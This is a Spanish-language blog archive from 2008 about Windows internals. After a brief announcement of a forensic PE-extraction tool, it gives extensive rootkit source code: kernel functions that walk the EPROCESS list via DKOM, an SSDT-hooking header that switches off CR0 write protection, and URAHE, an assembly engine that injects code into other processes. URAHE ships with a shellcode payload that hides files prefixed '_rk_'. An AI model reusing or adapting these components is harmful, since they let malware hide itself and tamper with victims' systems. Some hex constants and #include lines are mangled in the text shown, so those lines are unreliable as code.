Archive

Archive for the ‘MS Windows’ Category

PExtractor v0.2 Stable Released

October 31st, 2008 No comments

Proyecto bajo licencia GPLv3 destinado a la informática forense.

El objetivo es crear una herramienta capaz de detectar y extraer los ficheros ejecutables (PE) contenidos en un fichero, para facilitar su posterior análisis por separado.

Tipos de archivos soportados: PE (EXE,DLL)

Mejoras de la version 0.2 Stable Release

  • Código más optimizado y estructurado
  • Traducido al estándar C POSIX
  • Funcionamiento independiente de la plataforma
  • Algunos bugs corregidos

PExtractor v.02 – Análisis y extracción sobre MS Windows

PExtractor v0.2 – Debian GNU/Linux

PExtractor v0.2 – Análisis y extracción sobre Debian GNU/Linux (1/2)

PExtractor v0.2 – Análisis y extracción sobre Debian GNU/Linux (2/2)

Descarga de binarios y source: https://sourceforge.net/projects/pextractor/

Localizando la EPROCESS

October 31st, 2008 No comments

En ciertas ocasiones, cuando estamos programando en modo kernel en sistemas Windows, nos es necesario localizar la EPROCESS de algún proceso para conocer alguno/s de sus datos. Las siguientes funciones, devuelven la dirección de memoria de la EPROCESS del proceso indicado, o bien por el PID del proceso, o por el nombre de la imagen.

Localizar según el PID

unsigned long BuscaEPROCESSPidDKOM(unsigned int Pid)
{
	unsigned long 	eproc,aux,proceso,ret;
	PLIST_ENTRY 	lista;
	unsigned int 	idProceso=0;
	
	eproc=(unsigned long)PsGetCurrentProcess();//estamos en "System"
	//tenemos los punteros al siguiente y al anterior
	lista=(LIST_ENTRY*)(eproc+0×88);
	aux=(unsigned long)lista->Blink;
	proceso=(unsigned long)lista;
	idProceso=*((int *)(proceso+0×84));
	
	while(proceso!=0 && aux!=proceso && Pid!=idProceso)//recorremos la lista
	{
		proceso-=0×88;
		ret=proceso;
		idProceso=*((int *)(proceso+0×84));
		//avanzamos
		lista=lista->Flink;
		proceso=(unsigned long)lista;
	}
	if(Pid!=idProceso)
	{
		ret=0;
	#ifdef DEBUG
		DbgPrint("DKOM: Coincidencia no encontrada");
	}else{
		DbgPrint("DKOM: Coincidencia PID=%d",Pid);
	#endif
	}
	return ret;
}

Localizar según el nombre de la imagen

unsigned long BuscaEPROCESSNombreDKOM(unsigned char *Nombre)
{
	unsigned long 		eproc,aux,proceso,ret=0;
	PLIST_ENTRY 		lista;
	unsigned char    	*p;
	
	eproc=(unsigned long)PsGetCurrentProcess();//estamos en "System"
	//tenemos los punteros al siguiente y al anterior
	lista=(LIST_ENTRY*)(eproc+0×88);
	aux=(unsigned long)lista->Blink;
	proceso=(unsigned long)lista;
	p=(unsigned char *)(proceso+0×174);
	
	/* Recorremos la lista (comparando con la longitud del proceso 
	   que nos dice el sistema, y no con el de el usuario */
	while(proceso!=0 && aux!=proceso && p!=0 && 
		     strncmp(Nombre,p,strlen(Nombre))!=0)
	{
		proceso-=0×88;
		ret=proceso;
		p=(unsigned char *)(proceso+0×174);
		//avanzamos
		lista=lista->Flink;
		proceso=(unsigned long)lista;
	}
	if(strncmp(Nombre,p,strlen(Nombre))!=0)
	{
		ret=0;
	#ifdef DEBUG
		DbgPrint("DKOM: Coincidencia no encontrada");
	}else{
		DbgPrint("DKOM: Coincidencia: %s",Nombre);
	#endif
	}
	return ret;
}
Categories: C/C++, Kernel Mode, MS Windows, Programacion Tags:

Hooks.h

October 31st, 2008 2 comments

Hooks.h” es una cabecera escrita en lenguaje C, que recopila las funciones más importantes a la hora de realizar ganchos en modo kernel (en sistemas MS Windows), y que nos permite llevar cierto orden a la hora de saber cuántas y qué funciones, están enganchadas en la SSDT del kernel de Windows.

Básicamente, su comodidad reside en la relación existente entre las funciones, y tres variables declaradas que nos ayudan a llevar un control de los ganchos:

#define         NHOOKS  1//Numero de ganchos
unsigned short  SSDT_HOOKED=0;//Booleano
unsigned short  HOOKS_SSDT[NHOOKS]={0};//El estado de cada gancho

Cada función está definida con un valor entero, el cual usaremos en nuestras funciones y con el que movernos en el array “HOOKS_SSDT” para saber el estado del gancho. Ejemplo:

#define ZwCPEx 1

Para usar más funciones, basta con modificar el código de “Hooks.h” para que trabaje con ellas de la misma manera que lo hace con “ZwCreateProcessEx”, y definirlas con un ID único para cada funcion. Aprovechando la declaración anterior de “ZwCPEx”, la siguiente funcion podria ser:

#define ZwQSI 2 //ZwQuerySystemInformation

A continuación, el código de “Hooks.h” usando como ejemplo la API “ZwCreateProcessEx”:

/** ESTRUCTURAS Y VARIABLES PARA REALIZAR LOS GANCHOS **/
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase;
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
PMDL            g_pmdlSystemCall;
PVOID           *MappedSystemCallTable;
#define         SYSTEMSERVICE(_function)  \
KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)]
#define         SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define         HOOK_SYSCALL(_Function, _Hook, _Orig ) _Orig = \
(PVOID) InterlockedExchange((PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#define         UNHOOK_SYSCALL(_Function, _Hook, _Orig ) InterlockedExchange( \
(PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

/** Para llevar un control de los ganchos **/
#define         NHOOKS  1//Numero de ganchos
unsigned short  SSDT_HOOKED=0;//Booleano
unsigned short  HOOKS_SSDT[NHOOKS]={0};//El estado de cada gancho

/*
 * FUNCION PARA ENGANCHAR LA SSDT Y SOBRE ESTA, ENGANCHAR
 * NUESTRAS FUNCIONES
 */
NTSTATUS HookSSDT()
{
	NTSTATUS    ret=STATUS_UNSUCCESSFUL;

	g_pmdlSystemCall=MmCreateMdl(NULL,KeServiceDescriptorTable.ServiceTableBase,
				     KeServiceDescriptorTable.NumberOfServices*4);
	if(g_pmdlSystemCall)
	{
		MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
		g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
		MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
		SSDT_HOOKED=1;
		ret=STATUS_SUCCESS;
		#ifdef DEBUG
		DbgPrint("SSDT Enganchada");
		#endif
	}
	#ifdef DEBUG
	else
	DbgPrint("Error al enganchar SSDT");
	#endif

	return ret;
}

/*
 * ENGANCHA UNA FUNCION DETERMINADA POR EL PARAMETRO "ID"
 * EN LA SSDT
 * (Ver cabeceras)
 */
void Hook(unsigned int ID)
{
    NTSTATUS ret;

    if(ID>=NHOOKS)
    {
        #ifdef DEBUG
        DbgPrint("ID de la funcion fuera de rango");
        #endif
        return;
    }

    if(!(SSDT_HOOKED || (!SSDT_HOOKED && (ret=HookSSDT())==STATUS_SUCCESS)))
    {
        #ifdef DEBUG
        DbgPrint("SSDT NO enganchada, y no se pudo enganchar");
        #endif
        return;
    }

    /* Deshabilitamos las interrupciones y
     * desactivamos la proteccion contra escritura
     * mediante el registro CR0 del micro
     */
    _asm
    {
        cli
        mov eax,cr0
        and eax,not 10000h
        mov cr0,eax
    }

    switch(ID)
    {
        #ifdef ZwCPEx
        case ZwCPEx:
            HOOK_SYSCALL(ZwCreateProcessEx,ZwCreateProcessExHACK,ZwCreateProcessExORIG);
            HOOKS_SSDT[ID]=1;
            #ifdef DEBUG
            DbgPrint("%d Enganchada",ID);
            #endif

            break;
        #endif
    }

    /* Habilitamos las interrupciones y
     * activamos la proteccion contra escritura
     * mediante el registro CR0 del micro
     */
    _asm
    {
        mov eax,cr0
        or eax,10000h
        mov cr0,eax
        sti
    }

	return;
}

/*
 * FUNCION PARA ENGANCHAR TODAS LAS FUNCIONES DEFINIDAS, EN LA SSDT
 */
void HookAll()
{
    unsigned int i;

    for(i=0;i<NHOOKS;i++)
    Hook(i);

    return;
}

/*
 * FUNCION PARA DESENGANCHAR UNA FUNCION DETERMINADA POR EL
 * PARAMETRO "ID" DE LA SSDT.
 * (Ver cabeceras)
 */
void UnHook(unsigned int ID)
{
    if(!SSDT_HOOKED)
    return;

    /* Deshabilitamos las interrupciones y
     * desactivamos la proteccion contra escritura
     * mediante el registro CR0 del micro
     */
    _asm
    {
        cli
        mov eax,cr0
        and eax,not 10000h
        mov cr0,eax
    }

    switch(ID)
    {
        #ifdef ZwCPEx
        case ZwCPEx:
            if(HOOKS_SSDT[ID]==1)
            {
                UNHOOK_SYSCALL(ZwCreateProcessEx,ZwCreateProcessExORIG,ZwCreateProcessExHACK);
                HOOKS_SSDT[ID]=0;
                #ifdef DEBUG
                DbgPrint("Desenganchada");
                #endif
            }
            break;
        #endif
    }

    /* Habilitamos las interrupciones y
     * activamos la proteccion contra escritura
     * mediante el registro CR0 del micro
     */
    _asm
    {
        mov eax,cr0
        or eax,10000h
        mov cr0,eax
        sti
    }

    return;
}

/*
 * FUNCION PARA DESENGANCHAR LA SSDT, ASEGURANDONOS PREVIAMENTE
 * DE QUE NO HAY FUNCIONES ENGANCHADAS. EN CASO DE HABERLAS, LAS
 * DESENGANCHA.
 */
void UnHookSSDT()
{
    unsigned int i;

    //Nos aseguramos de deshacer los ganchos
    for(i=0;i<NHOOKS;i++)
    if(HOOKS_SSDT[i])
    UnHook(i);

    if(g_pmdlSystemCall)
    {
        MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
        IoFreeMdl(g_pmdlSystemCall);
        SSDT_HOOKED=0;
        #ifdef DEBUG
        DbgPrint("SSDT liberada");
        #endif
    }

    return;
}

URAHE – Universal Ring3 API Hooking Engine

October 31st, 2008 No comments

URAHE es una librería escrita en ensamblador, con el objetivo de suplantar funciones en la memoria de otro proceso en tiempo de ejecución, ya sean internas del programa o de librerías externas, utilizando el metodo “Detour Hooking” (Link2).

Básicamente lo que hace es leer de un proceso la función proxy que queremos que reemplace a la función original, y la escribe en el proceso remoto, junto con el buffer para usar la función original una vez enganchada.

Solo tiene una función exportada (HookMemory), a la que se le pasan por parámetros los datos necesarios mediante una estructura del tipo:

typedef struct _HOOK_
{
	//Pid del que obtener la función proxy
	unsigned int	PidOrigen;
	//Pid objetivo
	unsigned int    PidDestino;
	//Offset de la función proxy en la memoria del proceso ‘PidOrigen’
	DWORD           OffsetFProxy;
	//Tamaño de la función proxy
	DWORD           TamFProxy;
	//La función objetivo, ¿Es interna o externa?
	BOOL            FuncionInterna;
	//Indicamos la dirección en la memoria del
	//proceso objetivo en caso de ser interna
	DWORD           DireccionFInterna;
	//Si es externa, indicamos el nombre de la función
	const char      *Funcion;
	//Y la librería en la que se encuentra
	const char      *Libreria;
	//Número de bytes para realizar el hook
	DWORD           Bytes;
	//La dirección base de la librería kernel32.dll
	DWORD           BaseKernel;
	//Offset de la funcion ‘GetProcAddress’
	DWORD           OffsetGPA;
}Hook;

Y devuelve un puntero a una estructura con los resultados, indicando el codigo de error (0 si no lo hay), la descripción, y la descripción del SO. Esta estructura es del tipo:

typedef struct _ERROR_HOOK_
{
	DWORD    Codigo;//Codigo de retorno
	char    *Mensaje;//Mensaje de la libreria (en caso de error)
	char    *MensajeSistema;//Mensaje del SO (en caso de error)
}*ERROR_HOOK;

A continuación, dejo el código fuente de el programa en C que usa esta librería, y el código en ensamblador de la misma:

ejemplo.c

#include 
#include 

typedef struct _HOOK_
{
	//Pid del que obtener la función proxy
	unsigned int	PidOrigen;
	//Pid objetivo
	unsigned int    PidDestino;
	//Offset de la función proxy en la memoria del proceso ‘PidOrigen’
	DWORD           OffsetFProxy;
	//Tamaño de la función proxy
	DWORD           TamFProxy;
	//La función objetivo, ¿Es interna o externa?
	BOOL            FuncionInterna;
	//Indicamos la dirección en la memoria del
	//proceso objetivo en caso de ser interna
	DWORD           DireccionFInterna;
	//Si es externa, indicamos el nombre de la función
	const char      *Funcion;
	//Y la librería en la que se encuentra
	const char      *Libreria;
	//Número de bytes para realizar el hook
	DWORD           Bytes;
	//La dirección base de la librería kernel32.dll
	DWORD           BaseKernel;
	//Offset de la funcion ‘GetProcAddress’
	DWORD           OffsetGPA;
}Hook;

typedef struct _ERROR_HOOK_
{
	DWORD    Codigo;//Codigo de retorno
	char    *Mensaje;//Mensaje de la libreria (en caso de error)
	char    *MensajeSistema;//Mensaje del SO (en caso de error)
}*ERROR_HOOK;

typedef ERROR_HOOK(CHook)(_HOOK_);

/****************************************************************/
/** HOOK FindNextFileW PAYLOAD - OCULTA FICHEROS Y DIRECTORIOS **/
/**                    CON EL PREFIJO "_rk_"                   **/
/**============================================================**/
/**                       SIZE: 99 Bytes                       **/
/****************************************************************/
/*
Thanks to MazarD ;)

//ANSI Version
BOOL __stdcall FindNext(HANDLE hFindFile,LPWIN32_FIND_DATA lpFindFileData)
{
	BOOL (__stdcall *pBuffFN) (HANDLE hFindFile,LPWIN32_FIND_DATA lpFindFileData);
    void *p;

	p=0;

	pBuffFN=(BOOL (__stdcall*)(HANDLE,LPWIN32_FIND_DATA))p;
	return (pBuffFN)(hFindFile,lpFindFileData);
}*/
const static char payload[]=  "\x55\x89\xE5\x83\xEC\x18\xC7\x45\xF4\x00\x00\x00\x00"
                              "\x8B\x45\xF4\x89\x45\xFC\x8B\x45\x0C\x89\x44\x24\x04"
                              "\x8B\x45\x08\x89\x04\x24\x8B\x45\xFC\xFF\xD0\x83\xEC"
                              "\x08\x89\x45\xF8\x8B\x45\x0C\x66\x83\x78\x2C\x5F\x75"
                              "\x26\x8B\x45\x0C\x66\x83\x78\x32\x5F\x75\x1C\x8B\x45"
                              "\x0C\x66\x83\x78\x2E\x72\x75\x12\x8B\x45\x0C\x66\x83"
                              "\x78\x30\x6B\x75\x08\x83\x7D\xF8\x00\x74\x02\xEB\xB8"
                              "\x8B\x45\xF8\xC9\xC2\x08\x00";

int main()
{
	HMODULE     dll;
	FARPROC	    f,OffsetGPA;
	CHook	    *func;
	ERROR_HOOK  ret;
	Hook        datos;

 	dll=LoadLibrary("C:\\dll_hooking.dll");
	if(dll)
 	{
			f=GetProcAddress(dll,"HookMemory");
			datos.BaseKernel=(DWORD)GetModuleHandle("kernel32.dll");
			datos.OffsetGPA=(DWORD)GetProcAddress((HINSTANCE)datos.BaseKernel,"GetProcAddress");
			if(f && datos.BaseKernel && datos.OffsetGPA)
            		{
				printf("PID: ");
				scanf("%d",&datos.PidDestino);
				datos.PidOrigen=GetCurrentProcessId();
				datos.FuncionInterna=FALSE;
				//datos.FuncionInterna=TRUE;
				//datos.DireccionFInterna=0x401290;
				datos.Funcion="FindNextFileW";
				datos.Libreria="kernel32.dll";
				datos.OffsetFProxy=(DWORD)payload;
				datos.TamFProxy=sizeof(payload);
				datos.Bytes=7;

					func=(CHook*)f;
					ret=func(datos);

				if(ret->Codigo==0)
				{
					puts("OK");
				}else
				printf("\nError: %d\nDescripcion: %s\nSistema: %s",
				ret->Codigo,ret->Mensaje,ret->MensajeSistema);
        		}
	}

	system("pause");
	return 0;
}

urahe.asm

format PE GUI 4.0 DLL
entry DllEP
include 'c:\fasm\include\win32a.inc'

struct ERROR_HOOK
       Codigo:dd                0;codigo del error
       Mensaje:dd               0;offset del mensaje
       MensajeTecnico:dd        0;offset del mensaje devuelto por el sistema
ends

section '.data' data readable writeable
Error                           ERROR_HOOK      0

errores:
ErrorAbrirProcOrigenCod         dd              1
ErrorAbrirProcOrigenStr         db              'Error al abrir el proceso origen',0
ErrorAbrirProcDestinoCod        dd              2
ErrorAbrirProcDestinoStr        db              'Error al abrir el proceso objetivo',0
LibNoEncontradaCod              dd              3
LibNoEncontradaStr              db              'Libreria no encontrada',0
FuncNoEncontradaCod             dd              4
FuncNoEncontradaStr             db              'Funcion no encontrada',0
ErrorCrearSaltoCod              dd              5
ErrorCrearSaltoStr              db              'Error al crear el buffer para redirigir',0
ErrorInyectarBufferCod          dd              6
ErrorInyectarBufferStr          db              'Error al inyectar el buffer para redirigir',0
ErrorCrearBufferFProxyCod       dd              7
ErrorCrearBufferFProxyStr       db              'Error al copiar la funcion para suplantar',0
ErrorInyectarFuncionCod         dd              8
ErrorInyectarFuncionStr         db              'Error al inyectar la funcion para suplantar',0
ErrorNoHayCerosCod              dd              9
ErrorNoHayCerosStr              db              'No se encontro ningun cero en la funcion para suplantar (void p=0;)',0
ErrorEscribirMemoriaCod         dd              10
ErrorEscribirMemoriaStr         db              'Error al escribir en la funcion para suplantar',0
ErrorCrearBufferGanchoCod       dd              11
ErrorCrearBufferGanchoStr       db              'Error al crear la funcion puente',0
ErrorEscribirSaltoCod           dd              12
ErrorEscribirSaltoStr           db              'Error al escribir el salto para redirigir',0
db '-',0
error_desconocido:
ErrorDesconocidoCod             dd              0xffffffff
ErrorDesconocidoStr             db              'Error desconocido',0

section '.code' code readable writeable executable

;por comodidad
OpenProcess             equ dword [Offsets]
CloseHandle             equ dword [Offsets+4]
LocalAlloc              equ dword [Offsets+8h]
LocalFree               equ dword [Offsets+0Ch]
VirtualAllocEx          equ dword [Offsets+10h]
VirtualFreeEx           equ dword [Offsets+14h]
ReadProcessMemory       equ dword [Offsets+18h]
WriteProcessMemory      equ dword [Offsets+1Ch]
LoadLibrary             equ dword [Offsets+20h]
GetProcAddress          equ dword [Offsets+24h]
RtlMoveMemory           equ dword [Offsets+28h]
VirtualProtectEx        equ dword [Offsets+2Ch]
GetLastError            equ dword [Offsets+30h]
SetLastError            equ dword [Offsets+34h]
FormatMessage           equ dword [Offsets+38h]

proc DllEP hinstDLL,fdwReason,lpvReserved
mov eax,1
ret
endp

firma:
db '---------------',0
db '   Universal   ',0
db '   Ring3 API   ',0
db 'Hooking Engine ',0
db '     v1.7      ',0
db '    by sch3m4  ',0
db '---------------',0

proc Errores Codigo
mov eax,[Codigo]

lea esi,dword [errores]

busca_error:
cmp eax,dword [esi]
je guardar_error;si coinciden, tenemos la cadena en edi+4h
cmp byte [esi],'-'
je error_no_encontrado
add esi,4h

sig_error:;buscamos el siguiente error
inc esi
cmp byte [esi],0
jne sig_error
inc esi
jmp busca_error

error_no_encontrado:
lea esi,dword [error_desconocido-4h]

;almacenamos el error en la estructura
guardar_error:
add esi,4h
mov [Error+4h],esi

;obtenemos el último error y lo formateamos
call GetLastError
mov [Error],eax
mov ebx,0x00000100;FORMAT_MESSAGE_ALLOCATE_BUFFER
or ebx,0x00001000;FORMAT_MESSAGE_FROM_SYSTEM
or ebx,0x00000200;FORMAT_MESSAGE_IGNORE_INSERTS
lea esi,[Error+8h]
push 0
push 0
push esi
push 0x400;MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT)
push eax
push 0
push ebx
call FormatMessage
push 0
call SetLastError
ret
endp

;################################################################################
;##            LEE "Size" BYTES DE UN PROCESO Y LOS ESCRIBE EN OTRO            ##
;##============================================================================##
;##    DEVUELVE EL OFFSET DE LOS DATOS EN EL PROCESO REMOTO, O 0 SI HUBO ERROR ##
;################################################################################
proc InyectarCodigo hProc,Bufer,Size
local mProceso:dd     ?;direccion en la que hemos reservado memoria, en el proceso

;RESERVAMOS MEMORIA EN EL PROCESO PARA ESCRIBIR
mov eax,0x2000 ;MEM_RESERVE
or eax,0x1000 ;MEM_COMMIT
push 0x40
push eax
push [Size]
push 0
push [hProc]
call VirtualAllocEx
or eax,0
je salida_inyectar
mov dword [mProceso],eax

;ESCRIBIMOS EN EL PROCESO
push 0
push [Size]
push [Bufer]
push dword [mProceso]
push [hProc]
call WriteProcessMemory
or eax,0
je libera
mov eax,dword [mProceso]
ret

libera:
        push 0x4000
        push [Size]
        push dword [mProceso]
        push [hProc]
        call VirtualFreeEx
        mov eax,0

salida_inyectar:
ret
endp

;######################################################
;## FUNCIÓN QUE REEMPLAZA LOS DATOS DE UNA DIRECCIÓN ##
;##    DE MEMORIA, POR UN SALTO A OTRA DIRECCIÓN     ##
;######################################################
proc Engancha hProceso1,hProceso2,Direccion,DirFProxy,TamFProxy,Bytes
locals
        Buffer:dd               ?;offset a un buffer que usaremos como puente
        dFProxy:dd              ?;offset de la funcion proxy inyectada en el proceso final
        DirBufferFuncion:dd     ?;offset del buffer válido para usar la función en el proceso remoto
        DirCeros:dd             ?;direccion de 0x00000000 en la funcion inyectada, para meter el offset del buffer
endl

;=====================================================================
;|| CREAMOS EL BUFFER CON EL QUE USAR LA FUNCION UNA VEZ ENGANCHADA ||
;=====================================================================
;reservamos la memoria necesaria (+6 bytes (push + offset + ret (1 + 4 + 1)),para volver a la función)
mov eax,[Bytes]
add eax,6
push eax
push 0x40
call LocalAlloc
or eax,0
jne copiar_bytes
    push [ErrorCrearSaltoCod]
    call Errores
    ret

;copiamos los bytes necesarios de la funcion original al buffer
copiar_bytes:
mov [Buffer],eax
push 0
push [Bytes]
push dword [Buffer]
push [Direccion]
push [hProceso1]
call ReadProcessMemory

;añadimos el salto a la funcion original (en vez de jmp usamos push offset, ret)
mov eax,[Buffer]
add eax,[Bytes]
mov byte [eax],0x68 ;En vez de hacer un jmp, hacemos push offset, ret
inc eax
mov ebx, [Direccion]
add ebx, [Bytes]
mov dword [eax],ebx
add eax,4
mov byte [eax],0xC3

;========================================
;|| INYECTAMOS EL BUFFER EN EL PROCESO ||
;========================================
mov ecx,dword [Bytes]
add ecx,6
push ecx
push dword [Buffer]
push dword [hProceso2]
call InyectarCodigo
or eax,0
jne leer_funcion_proxy
    push dword [Buffer]
    call LocalFree
    push [ErrorInyectarBufferCod]
    call Errores
    ret

;===========================================================================
;|| LEEMOS,MODIFICAMOS E INYECTAMOS LA FUNCION PROXY EN EL PROCESO REMOTO ||
;===========================================================================
leer_funcion_proxy:
mov [DirBufferFuncion],eax;direccion del buffer en el proceso remoto, para poder usar la funcion una vez enganchada
;leemos e inyectamos la funcion proxy
push dword [Buffer]
call LocalFree
push [TamFProxy]
push 0x40
call LocalAlloc
push eax
push 0
push dword [TamFProxy]
push eax
push [DirFProxy]
push [hProceso1]
call ReadProcessMemory
or eax,0
jne buscar_ceros
        mov ecx,dword [Bytes]
        add ecx,6
        push 0x4000
        push ecx
        push dword [DirBufferFuncion]
        push [hProceso2]
        call VirtualFreeEx
        push [ErrorCrearBufferFProxyCod]
        call Errores
        ret

buscar_ceros:
pop eax
mov [Buffer],eax
lea esi,dword [eax]
xor ecx,ecx
mov ebx,[TamFProxy]
    cBuscar:
    cmp dword [esi],0
    je meter_offset
    cmp ecx,ebx
    je cNoEncontrados
    inc esi
    inc ecx
    jmp cBuscar

    cNoEncontrados:
        mov ecx,dword [Bytes]
        add ecx,6
        push 0x8000 ;MEM_RELEASE
        push ecx
        push dword [DirBufferFuncion]
        push dword [hProceso2]
        call VirtualFreeEx
        push dword [Buffer]
        call LocalFree
        push [ErrorNoHayCerosCod]
        call Errores
        ret

meter_offset:
mov eax,dword [DirBufferFuncion]
mov [esi],eax

inyectar_fproxy:
push dword [TamFProxy]
push dword [Buffer]
push dword [hProceso2]
call InyectarCodigo
or eax,0
jne crear_gancho
        push dword [Buffer]
        call LocalFree
        push 0x4000
        push [TamFProxy]
        push dword [DirBufferFuncion]
        push [hProceso2]
        call VirtualFreeEx
        mov ecx,dword [Bytes]
        add ecx,6
        push 0x4000
        push ecx
        push dword [DirBufferFuncion]
        push [hProceso2]
        call VirtualFreeEx
        push [ErrorInyectarFuncionCod]
        call Errores
        ret

;=====================================================
;|| CREAMOS Y GRABAMOS EL BUFFER QUE CREA EL GANCHO ||
;=====================================================
crear_gancho:
mov [dFProxy],eax
push dword [Buffer]
call LocalFree
push [Bytes]
push 0x40
call LocalAlloc
or eax,0
jne crear_buffer_gancho
    mov ecx,dword [Bytes]
    add ecx,6
    push 0x8000 ;MEM_RELEASE
    push ecx
    push dword [DirBufferFuncion]
    push dword [hProceso2]
    call VirtualFreeEx
    mov ecx,dword [Bytes]
    add ecx,6
    push 0x4000
    push ecx
    push dword [DirBufferFuncion]
    push [hProceso2]
    call VirtualFreeEx
    push dword [Buffer]
    call LocalFree
    push [ErrorCrearBufferGanchoCod]
    call Errores
    ret

crear_buffer_gancho:
;llenamos el buffer de 0xC3 (ret)
mov [Buffer],eax
mov ebx,eax
xor ecx,ecx
ceros:
mov eax,dword [Buffer]
add eax,ecx
mov byte [eax],0xC3
inc ecx
cmp ecx,[Bytes]
jne ceros

;creamos el salto en el buffer
mov eax,ebx
mov byte [eax],0xE9
inc eax
mov ebx,dword [dFProxy]
sub ebx,dword [Direccion]
sub ebx,5;5 = jmp + offset
mov dword [eax],ebx

;escribimos el salto
push 0
push [Bytes]
push dword [Buffer]
push dword [Direccion]
push dword [hProceso2]
call WriteProcessMemory
or eax,0
jne exito
    mov ecx,dword [Bytes]
    add ecx,6
    push 0x8000 ;MEM_RELEASE
    push ecx
    push dword [DirBufferFuncion]
    push dword [hProceso2]
    call VirtualFreeEx
    mov ecx,dword [Bytes]
    add ecx,6
    push 0x4000
    push ecx
    push dword [DirBufferFuncion]
    push [hProceso2]
    call VirtualFreeEx
    push dword [Buffer]
    call LocalFree
    push [ErrorEscribirSaltoCod]
    call Errores
    ret

exito:
mov dword [Error],0
mov dword [Error+4],0
mov dword [Error+8],0
push dword [Buffer]
call LocalFree
ret
endp

;##############################################################################################################
;## FUNCIÓN PARA REDIRIGIR LA LLAMADA A UNA FUNCIÓN (INTERNA O EXTERNA) EN UN PROCESO, HACIA NUESTRA FUNCION ##
;##==========================================================================================================##
;##                           DEVUELVE EL CÓDIGO DEL ERROR (0 SI NO HUBO NINGUNO)                            ##
;##############################################################################################################
proc HookMemory
locals
        hProcesoFinal:dd        ?;handle del proceso a hookear
        hProcesoOrigen:dd       ?;handle del proceso del que leer los datos
        Direccion:dd            ?;Direccion en la que insertar el salto
        Buffers:db              ?
        ;PARAMETROS PASADOS POR LA PILA
        Parametros:
        dd 11 dup(0)

endl

;ALMACENAMOS LOS PARAMETROS DE LA PILA
PidOrigen               equ     dword [Parametros]
PidFinal                equ     dword [Parametros+4]
OffsetFuncionProxy      equ     dword [Parametros+8]
SizeFProxy              equ     dword [Parametros+0Ch]
FuncionInterna          equ     dword [Parametros+10h]
DireccionFInterna       equ     dword [Parametros+14h]
Funcion                 equ     dword [Parametros+18h]
Libreria                equ     dword [Parametros+1Ch]
Bytes                   equ     dword [Parametros+20h]
BaseKernel              equ     dword [Parametros+24h]
OffsetGPA               equ     dword [Parametros+28h]

lea esi,[Parametros];guardar los parametros
mov ebx,ebp;base de la pila
add ebx,8
lea edi,[ebx]
add ebx,28h;limite de la pila

sacar_parametros:
        cmp edi,ebx
        jg comienza
        mov eax,dword [edi]
        mov dword [esi],eax
        add esi,4
        add edi,4
        jmp sacar_parametros

comienza:
;sacamos las apis
lea edi,dword [APIs]
lea esi,dword [Offsets]
sacar_apis:
push edi
push BaseKernel
call OffsetGPA
mov [esi],eax
;nos vamos a la siguiente api
siguiente:
cmp byte [edi],0
je sigue
inc edi
jmp siguiente
sigue:
add esi,4
inc edi
cmp byte [edi],'-'
jne sacar_apis

;=======================================================
;|| CARGAMOS EL PROCESO DEL QUE LEER LA FUNCION PROXY ||
;=======================================================
push PidOrigen
push 0
push 0x10 ;PROCESS_VM_READ
call OpenProcess
or eax,0
jne carga_pfinal
push ErrorAbrirProcOrigenCod
call Errores
ret

carga_pfinal:
mov dword [hProcesoOrigen],eax
;===================================================
;|| CARGAMOS EL PROCESO AL QUE REALIZAR EL GANCHO ||
;===================================================
mov eax, 0x20 ;PROCESS_VM_WRITE
or eax,0x8 ;PROCESS_VM_OPERATION
or eax,0x10;PROCESS_VM_READ
push PidFinal
push 0
push eax
call OpenProcess
or eax,0
jne calcular_direccion
push [ErrorAbrirProcDestinoCod]
call Errores
mov eax,Error
ret

calcular_direccion:
mov [hProcesoFinal],eax
;==========================================================
;|| MIRAMOS SI TENEMOS QUE SUPLANTAR UNA FUNCION INTERNA ||
;==========================================================
cmp FuncionInterna,0
je funcion_externa
mov eax,DireccionFInterna
jmp suplantar_direccion

funcion_externa:;Obtenemos la dirección de la función externa a suplantar
        push Libreria
        call LoadLibrary
        or eax,0
        jne buscar_funcion
        push dword [hProcesoFinal]
        call CloseHandle
        push dword [hProcesoOrigen]
        call CloseHandle
        ;almacenamos los datos del error y salimos
        push [LibNoEncontradaCod]
        call Errores
        mov eax,Error
        ret

        buscar_funcion:
                push Funcion
                push eax
                call GetProcAddress
                or eax,0
                jne suplantar_direccion
                push dword [hProcesoFinal]
                call CloseHandle
                push dword [hProcesoOrigen]
                call CloseHandle
                push [FuncNoEncontradaCod]
                call Errores
                mov eax,Error
                ret

suplantar_direccion:
        mov [Direccion],eax
        push Bytes
        push SizeFProxy
        push OffsetFuncionProxy
        push dword [Direccion]
        push dword [hProcesoFinal]
        push dword [hProcesoOrigen]
        call Engancha
        push dword [hProcesoFinal]
        call CloseHandle
        push dword [hProcesoOrigen]
        call CloseHandle
        mov eax,Error
        ret
endp

;Funciones del kernel
APIs:
db 'OpenProcess',0
db 'CloseHandle',0

db 'LocalAlloc',0
db 'LocalFree',0
db 'VirtualAllocEx',0
db 'VirtualFreeEx',0
db 'ReadProcessMemory',0
db 'WriteProcessMemory',0
db 'LoadLibraryA',0
db 'GetProcAddress',0
db 'RtlMoveMemory',0
db 'VirtualProtectEx',0
db 'GetLastError',0
db 'SetLastError',0
db 'FormatMessageA',0
db '-',0

;offset almacenamos
Offsets:
dd 15 dup(0)

section '.edata' export data readable
  export 'dll_hooking.dll',\
         HookMemory,'HookMemory'

section '.reloc' fixups data discardable

